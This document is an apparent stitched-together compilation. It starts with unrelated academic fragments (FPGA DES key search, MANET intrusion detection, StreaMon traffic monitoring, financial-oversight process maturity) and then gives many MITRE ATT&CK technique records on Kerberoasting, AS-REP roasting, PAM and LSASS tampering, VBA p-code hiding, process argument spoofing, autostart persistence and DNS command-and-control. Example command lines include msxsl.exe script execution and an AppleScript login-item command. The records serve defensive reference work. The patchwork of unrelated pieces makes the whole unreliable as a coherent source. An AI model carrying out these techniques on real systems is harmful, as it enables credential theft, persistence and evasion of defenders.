IMPLEMENTATION OF DES CRYPTANALYSIS.** The aim of the hardware is the probable key search to be accomplished by partitioning the solution space on the FPGA chip and instantiating multiple instances of the design in parallel. As the solution space is independent and inter-process communication is hardly required, the key search time can be reduced by ‘n’ fold for ‘n’ instances of the design in single a FPGA chip.\n\nWe have implemented the design in Virtex-4 FPGA chip (xc4vlx100-12ff1148) using Xilinx 13.1 development platform. The design is implemented using both Rolled and Unrolled architecture. After synthesis of the design incorporating key search engines in a single FPGA along with the additional logic required for finding the correct key, the device utilization and throughput for both the architectures are as shown below.\n\n13\n\n**6.1. Using Rolled Architecture.** The usage of 1,662 slices, 892 slice flip-flops (FF) and 3,187 Look up Tables (LUTs) is reported by the tool. (3% slices, 0% slice FF and 3% LUT utilization of the xc4vlx100-12ff1148 device respectively). The throughput achieved for the design is 0.817GBPS with maximum frequency of 230.063MHz.\n\n**6.2. Using Unrolled Architecture.** The usage of 9,019 slices, 7,614 slice flip-flops and 16,954 LUTs is reported by the tool. (18% slices, 7% slice FF and 17% LUT utilization of the xc4vlx100-12ff1148 device respectively). The throughput achieved for the design is 0.874GBPS with maximum frequency of 245.874MHz.\n\nFrom the above experimental results, the device utilization for design using Rolled architecture is considerably less as compared to design using Unrolled architecture. Hence the Rolled architecture was selected for implementation. 256 key search instances for the Rolled architecture could be fit in a single FPGA with a clock frequency of 323.515MHz.

Network resources are abnormally consumed by intruders. Anomaly and signature based techniques are used for intrusion detection. Classification techniques are used in anomaly based techniques. Intrusion detection techniques are used for the network attack detection process. Two types of intrusion detection systems are available. They are anomaly detection and signature based detection model. The anomaly detection model uses the historical transactions with attack labels. The signature database is used in the signature based IDS schemes.\n\nThe mobile ad-hoc networks are infrastructure less environment. The intrusion detection applications are placed in a set of nodes under the mobile ad-hoc network environment. The nodes are grouped into clusters. The leader nodes are assigned for the clusters. The leader node is assigned for the intrusion detection process. Leader nodes are used to initiate the intrusion detection process. Resource sharing and lifetime management factors are considered in the leader election process. The system optimizes the leader election and intrusion detection process.\n\nThe system is designed to handle leader election and intrusion detection process. The clustering scheme is optimized with coverage and traffic level. Cost and resource utilization is controlled under the clusters. Node mobility is managed by the system.\n\n**1. INTRODUCTION.** Unlike traditional networks, the Mobile Ad hoc Networks (MANETs) have no fixed chokepoints/bottlenecks where Intrusion Detection Systems (IDSs) can be deployed [3]. Hence, a node may need to run its own IDS [1] and cooperate with others to ensure security. This is very inefficient in terms of resource consumption since mobile nodes are energylimited.

StreaMon is a carefully designed data-plane abstraction devised to scalably decouple the “programming logic” of a traffic analysis application (tracked states, features, anomaly conditions, etc.) from elementary primitives (counting and metering, matching, events generation, etc), efficiently pre-implemented in the probes, and used as common instruction set for supporting the desired logic. Multi-stage multi-step real-time tracking and detection algorithms are supported via the ability to deploy custom states, relevant state transitions, and associated monitoring actions and triggering conditions. Such a separation entails platform-independent, portable, online traffic analysis tasks written in a high level language, without requiring developers to access the monitoring device internals and program their custom monitoring logic via low level compiled languages (e.g., C, assembly, VHDL). We validate our design by developing a prototype and a set of simple (but functionally demanding) use-case applications and by testing them over real traffic traces.\n\n1\n\n**Introduction.** The sheer volume of networked information, in conjunction with the complexity and polymorphous nature of modern cyberthreats, calls for scalable, accurate, and, at the same time, flexible and programmable monitoring systems [ 13, 11 ]. The challenge is to promptly react to fastly mutating needs by deploying custom traffic analyses, capable of tracking event chains and multi-stage attacks, and efficiently handle the many heterogeneous features, events, and conditions which characterize an operational failure, a network application mis-behavior, an anomaly or an incoming attack. Such needed level of flexibility and programmability should address scalability by design, through systematic exploitation of stream-based analysis techniques. And, even more challenging, traffic analyses and mitigation primitives should be ideally brought\n\ninside the monitoring probes themselves at data plane, so as to avoid exporting traffic data to central analysis points, an hardly adequate way to cope with the traffic scale and the strict (ideally real time) mitigation delay requirements.

Despite this, we hope that the ideas and thoughts brought forward in this paper could lead to a more formalized approach to improving macroprudential oversight (stage one: planning). Likewise, we have not made an attempt at improving design and modeling (stage three), as we are not presenting a detailed documentation of the process using a standard annotation for representing all the activities therein. With this study, our focus is thus on establishing whether there is a common understanding of the process, explicit or implicit, among the European System of Financial Supervisors, and on identifying potential bottlenecks in the underlying enablers of a mature process.\n\n3.2 Process Readiness\n\nProcess analysis, as one of the six distinct phases of BPM, aims at understanding current states of organizational processes. Given the common complexity of today’s processes, analysis invokes structured approaches to gain a better understanding of the inner workings of processes and their associated performance targets. One widely known structured approach to understanding the state of a process is the assessment of process readiness or maturity, as introduced by Hammer [23], Hammer [24].\n\nTo define a mature, high-performance process, one can assess process-specific characteristics. Hammer [23] defines five critical enablers for well-functioning processes: ( i) process design, ( ii) process metrics, ( iii) process performers, ( iv) process infrastructure, and ( v) process owners. The design of the process goes back to the specification of what tasks are to be performed, by whom, and what the associated inputs and outputs are. This also involves an understanding of the organization(s) involved and how the activities interact to produce a desired outcome. The metrics of the process detail the desired outcome in more specific terms.

The malicious application could monitor the device screen for certain modals (e.g., the confirmation modal to uninstall an application) and inject screen input or a back button tap to close the modal. For example, Android's `performGlobalAction(int)` API could be utilized to prevent the user from removing the malicious application from the device after installation. If the user wants to uninstall the malicious application, two cases may occur, both preventing the user from removing the application.\n\n* Case 1: If the integer argument passed to the API call is `2` or `GLOBAL_ACTION_HOME`, the malicious application may direct the user to the home screen from settings screen\n\n* Case 2: If the integer argument passed to the API call is `1` or `GLOBAL_ACTION_BACK`, the malicious application may emulate the back press event\n\n**Classification.** - Tactics: defense-evasion\n- Platforms: Android\n- Sub-technique of: T1629 Impair Defenses - Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.\n\n**Mitigations.** - **Use Recent OS Version**: New mobile operating system versions bring not only patches against discovered vulnerabilities but also often bring security architecture improvements that provide resilience against potential vulnerabilities or weaknesses that have not yet been discovered.

Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information), establishing operational resources (ex: Compromise Accounts or Compromise Infrastructure), and/or initial access (ex: Valid Accounts or Phishing).\n\n**Note:** This is distinct from Code Repositories, which focuses on Collection from private and internally hosted code repositories.\n\n**Classification.** - Tactics: reconnaissance\n- Platforms: PRE\n- Sub-technique of: T1593 Search Open Websites/Domains - Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting.\n\n**Mitigations.** - **Application Developer Guidance**: Application Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles. By integrating security throughout the software development lifecycle (SDLC), this mitigation aims to prevent the introduction of exploitable weaknesses in applications, systems, and APIs. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures. […]\n\n## Reference: ATT&CK T1594 Search Victim-Owned Websites\n**ATT&CK T1594 Search Victim-Owned Websites (full record).** Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: Email Addresses). These sites may also have details highlighting business operations and relationships.\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Trusted Relationship or Phishing).\n\nIn addition to manually browsing the website, adversaries may attempt to identify hidden directories or files that could contain additional sensitive information or vulnerable functionality. They may do this through automated activities such as Wordlist Scanning, as well as by leveraging files such as sitemap.xml and robots.txt.\n\n**Classification.** - Tactics: reconnaissance\n- Platforms: PRE\n\n**Mitigations.** - **Pre-compromise**: Pre-compromise mitigations involve proactive measures and defenses implemented to prevent adversaries from successfully identifying and exploiting weaknesses during the Reconnaissance and Resource Development phases of an attack. These activities focus on reducing an organization's attack surface, identify adversarial preparation efforts, and increase the difficulty for attackers to conduct successful operations. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection of Search Victim-Owned Websites**\n - Monitor for suspicious network traffic that could be indicative of adversary reconnaissance, such as rapid successions of requests indicative of web crawling and/or large quantities of requests originating from a single source (especially if the source is known to be associated with an adversary). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.

To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service).\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline Brute Force attacks that may expose plaintext credentials.\n\nThis same behavior could be executed using service tickets captured from network traffic.\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Windows\n- Sub-technique of: T1558 Steal or Forge Kerberos Tickets - Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable Pass the Ticket.

Strong password policies include enforcing password complexity, requiring regular password changes, and preventing password reuse. This mitigation can be implemented through the following measures:\n- **Encrypt Sensitive Information**: Protect sensitive information at rest, in transit, and during processing by using strong encryption algorithms. Encryption ensures the confidentiality and integrity of data, preventing unauthorized access or tampering. […]\n\n## Reference: ATT&CK T1558.004 AS-REP Roasting\n**ATT&CK T1558.004 AS-REP Roasting (full record).** Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages.\n\nPreauthentication offers protection against offline Password Cracking. When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user’s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user’s password.\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline Password Cracking attacks similarly to Kerberoasting and expose plaintext credentials.\n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like PowerShell with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data.\n\nCracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to Valid Accounts.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Windows\n- Sub-technique of: T1558 Steal or Forge Kerberos Tickets - Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable Pass the Ticket.

These files are used for short term storage of a user's active session credentials. The ccache file is created upon user authentication and allows for access to multiple services without the user having to re-enter credentials.\n\nThe `/etc/krb5.conf` configuration file and the `KRB5CCNAME` environment variable are used to set the storage location for ccache entries. On Linux, credentials are typically stored in the `/tmp` directory with a naming format of `krb5cc_%UID%` or `krb5.ccache`. On macOS, ccache entries are stored by default in memory with an `API:{uuid}` naming scheme. Typically, users interact with ticket storage using `kinit`, which obtains a Ticket-Granting-Ticket (TGT) for the principal; `klist`, which lists obtained tickets currently held in the credentials cache; and other built-in binaries.\n\nAdversaries can collect tickets from ccache files stored on disk and authenticate as the current user without their password to perform Pass the Ticket attacks. Adversaries can also use these tickets to impersonate legitimate users with elevated privileges to perform Privilege Escalation. Tools like Kekeo can also be used by adversaries to convert ccache files to Windows format for further Lateral Movement. On macOS, adversaries may use open-source tools or the Kerberos framework to interact with ccache files and extract TGTs or Service Tickets via lower-level APIs.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Linux, macOS\n- Sub-technique of: T1558 Steal or Forge Kerberos Tickets - Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable Pass the Ticket.

IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.\n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows Dynamic Data Exchange or Component Object Model. Linux environments support several different IPC mechanisms, two of which being sockets and pipes. Higher level execution mediums, such as those of Command and Scripting Interpreters, may also leverage underlying IPC mechanisms.

This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. […]\n\n## Reference: ATT&CK T1559.001 Component Object Model\n**ATT&CK T1559.001 Component Object Model (full record).** Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE). Remote COM execution is facilitated by Remote Services such as Distributed Component Object Model (DCOM).\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and Visual Basic. Specific COM objects also exist to directly perform functions beyond code execution, such as creating a Scheduled Task/Job, fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.\n\n**Classification.** - Tactics: execution\n- Platforms: Windows\n- Sub-technique of: T1559 Inter-Process Communication - Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution.\n\n**Mitigations.** - **Privileged Account Management**: Privileged Account Management focuses on implementing policies, controls, and tools to securely manage privileged accounts (e.g., SYSTEM, root, or administrative accounts). This includes restricting access, limiting the scope of permissions, monitoring privileged account usage, and ensuring accountability through logging and auditing.This mitigation can be implemented through the following measures:\n- **Application Isolation and Sandboxing**: Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact.

Each module stream has a `PerformanceCache` that stores a separate compiled version of the VBA source code known as p-code. The p-code is executed when the MS Office version specified in the `_VBA_PROJECT` stream (which contains the version-dependent description of the VBA project) matches the version of the host MS Office application.\n\nAn adversary may hide malicious VBA code by overwriting the VBA source code location with zero’s, benign code, or random bytes while leaving the previously compiled malicious p-code. Tools that scan for malicious VBA source code may be bypassed as the unwanted code is hidden in the compiled p-code. If the VBA source code is removed, some tools might even think that there are no macros present. If there is a version match between the `_VBA_PROJECT` stream and host MS Office application, the p-code will be executed, otherwise the benign VBA source code will be decompressed and recompiled to p-code, thus removing malicious p-code and potentially bypassing dynamic analysis.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries.

[…]\n\n## Reference: ATT&CK T1564.008 Email Hiding Rules\n**ATT&CK T1564.008 Email Hiding Rules (full record).** Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the `New-InboxRule` or `Set-InboxRule` PowerShell cmdlets on Windows systems.\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to Internal Spearphishing emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as `malware`, `suspicious`, `phish`, and `hack`) found in message bodies and subject lines.\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions. Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows, Linux, macOS, Office Suite\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Mitigations.** - **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations.

[…]\n\n## Reference: ATT&CK T1564.009 Resource Forking\n**ATT&CK T1564.009 Resource Forking (full record).** Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code. Usage of a resource fork is identifiable when displaying a file’s extended attributes, using `ls -l@` or `xattr -l` commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the `/Resources` folder.\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.\n\n**Classification.** - Tactics: stealth\n- Platforms: macOS\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Mitigations.** - **Application Developer Guidance**: Application Developer Guidance focuses on providing developers with the knowledge, tools, and best practices needed to write secure code, reduce vulnerabilities, and implement secure design principles. By integrating security throughout the software development lifecycle (SDLC), this mitigation aims to prevent the introduction of exploitable weaknesses in applications, systems, and APIs. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection Strategy for Resource Forking on macOS**\n - Unexpected creation or modification of files with `com.apple.ResourceFork` extended attributes containing unusually large or non-standard data. Defender perspective: detection of resource forks in contexts where they are uncommon, especially when paired with process execution or network activity. […]\n\n## Reference: ATT&CK T1564.010 Process Argument Spoofing\n**ATT&CK T1564.010 Process Argument Spoofing (full record).** Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.\n\nAdversaries may manipulate a process PEB to evade defenses. For example, Process Hollowing can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the Native API `WriteProcessMemory` function) then resume process execution with malicious arguments.\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.\n\nThis behavior may also be combined with other tricks (such as Parent PID Spoofing) to manipulate or further evade process-based detections.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Detection strategies and analytics.** - **Detection Strategy for Process Argument Spoofing on Windows**\n - Inconsistencies between process command-line arguments logged at creation time and subsequent process behavior. Defender perspective: monitoring for processes launched in a suspended state, followed by memory modifications (e.g., WriteProcessMemory targeting the PEB) that overwrite arguments before execution resumes. Detection also includes observing anomalous behaviors from processes whose logged arguments do not align with executed activity (e.g., network connections, file writes, or registry modifications). […]\n\n## Reference: ATT&CK T1564.011 Ignore Process Interrupts\n**ATT&CK T1564.011 Ignore Process Interrupts (full record).** Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off. These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes.\n\nAdversaries may invoke processes using `nohup`, PowerShell `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups. This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.\n\nHiding from process interrupt signals may allow malware to continue execution, but unlike Trap this does not establish Persistence since the process will not be re-invoked once actually terminated.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1564 Hide Artifacts - Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.\n\n**Detection strategies and analytics.** - **Detection Strategy for Ignore Process Interrupts**\n - Execution of processes using nohup or shell redirection to ignore SIGHUP and continue running after session termination.

Unlike SSH and port forwarding, IDE tunneling encapsulates an entire session and may use proprietary tunneling protocols alongside SSH, allowing adversaries to blend in with legitimate development workflows. Some IDEs, like Visual Studio Code, also provide CLI tools (e.g., `code tunnel`) that adversaries may use to programmatically establish tunnels and generate web-accessible URLs for remote access. These tunnels can be authenticated through accounts such as GitHub, enabling the adversary to control the compromised system via a legitimate developer portal.\n\nAdditionally, adversaries may use IDE tunneling for persistence. Some IDEs, such as Visual Studio Code and JetBrains, support automatic reconnection. Adversaries may configure the IDE to auto-launch at startup, re-establishing the tunnel upon execution.

Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages.\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.\n\nCommand-line examples:\n\n* `msxsl.exe customers[.]xml script[.]xsl`\n* `msxsl.exe script[.]xsl script[.]xsl`\n* `msxsl.exe script[.]jpeg script[.]jpeg`\n\nAnother variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file. This technique can also execute local/remote scripts and, similar to its Regsvr32/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool.

By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts.\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms.

Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller).

Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA.

PAM components, such as `pam_unix.so`, can be patched to accept arbitrary adversary supplied values as legitimate credentials.\n\nMalicious modifications to the PAM system may also be abused to steal credentials.

XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user’s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.\n\nAdversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user’s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.\n\nAdversaries may combine this technique with Masquerading to blend malicious Autostart entries with legitimate programs.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: Linux\n- Sub-technique of: T1547 Boot or Logon Autostart Execution - Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.

Active Setup is a Windows mechanism that is used to execute programs when a user logs in. The value stored in the Registry key will be executed after a user logs into the computer. These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries may abuse Active Setup by creating a key under ` HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\` and setting a malicious value for `StubPath`. This value will serve as the program that will be executed when a user logs into the computer.\n\nAdversaries can abuse these components to execute malware, such as remote access tools, to maintain persistence through system reboots.

Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in. Login items can be added via a shared file list or Service Management Framework. Shared file list login items can be set using scripting languages such as AppleScript, whereas the Service Management Framework uses the API call `SMLoginItemSetEnabled`.\n\nLogin items installed using the Service Management Framework leverage `launchd`, are not visible in the System Preferences, and can only be removed by the application that created them. Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder. Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications.\n\nAdversaries can utilize AppleScript and Native API calls to create a login item to spawn malicious executables. Prior to version 10.5 on macOS, adversaries can add login items by using AppleScript to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items. Adversaries can use a command such as `tell application “System Events” to make login item at end with properties /path/to/executable`. This command adds the path of the malicious executable to the login item file list located in `~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm`. Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.\n\n**Classification.** - Tactics: persistence, privilege-escalation\n- Platforms: macOS\n- Sub-technique of: T1547 Boot or Logon Autostart Execution - Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.

Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g., run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below:\n\n* Program - This mode must be enabled before changes can be made to a devices program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLCs logic Is halted, and all outputs may be forced off.\n* Run - Execution of the devices program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the programs logic.Program Upload and Program Download are disabled while in this mode.\n* Remote - Allows for remote changes to a PLCs operation mode.\n* Stop - The PLC and program is stopped, while in this mode, outputs are forced off.\n* Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.\n* Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded\n\n**Mitigations.** - **Software Process and Device Authentication**: Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.\n- **Human User Authentication**: Require user authentication before allowing access to data or accepting commands to a device. While strong multi-factor authentication is preferable, it is not always feasible within ICS environments.

These protocols may be used to disguise adversary actions as benign network traffic. Standard protocols may be seen on their associated port or in some cases over a non-standard port. Adversaries may use these protocols to reach out of the network for command and control, or in some cases to other infected devices within the network.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Sub-techniques.** - T0869.001 DNS: Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic.\n- T0869.002 Publish/Subscribe Protocols: Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic.\n\n**Mitigations.** - **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. Restrict network access to only required systems and services. In addition, prevent systems from other networks or business functions (e.g., enterprise) from accessing critical process control systems.\n- **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries. In industrial control environments, network intrusion prevention should be configured so it will not disrupt protocols and communications responsible for real-time functions related to control or safety.\n- **Network Allowlists**: Network allowlists can be implemented through either host-based files or system hosts files to specify what connections (e.g., IP address, MAC address, port, protocol) can be made from a device. Allowlist techniques that operate at the application layer (e.g., DNP3, Modbus, HTTP) are addressed in Filter Network Traffic mitigation. […]\n\n## Reference: ATT&CK T0869.001 DNS\n**ATT&CK T0869.001 DNS (full record).** Adversaries may communicate using the Domain Name System (DNS) application layer protocol to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\nThe DNS protocol serves an administrative function in computer networking and thus may be very common in environments. DNS traffic may also be allowed even before network authentication is completed. DNS packets contain many fields and headers in which data can be concealed. Often known as DNS tunneling, adversaries may abuse DNS to communicate with systems under their control within a victim network while also mimicking normal, expected traffic.\n\nDNS beaconing may be used to send commands to remote systems via DNS queries. A DNS beacon is created by tunneling DNS traffic (i.e. Protocol Tunneling). The commands may be embedded into different DNS records, for example, TXT or A records.\nDNS beacons may be difficult to detect because the beacons infrequently communicate with infected devices. Infrequent communication conceals the malicious DNS traffic with normal DNS traffic.\n\nAdversaries may also use DNS over TLS (DoT) or HTTPS (DoH) for resolving C2 servers. This encrypts the DNS requests and allows the malware to lookup C2 servers without being detected by security systems (e.g., DNS filtering based on indicators of compromise).\n\n**Classification.** - Tactics: command-and-control\n- Platforms: n/a\n- Sub-technique of: T0869 Standard Application Layer Protocol - Adversaries may establish command and control capabilities over commonly used application layer protocols such as HTTP(S), OPC, RDP, telnet, DNP3, and modbus.

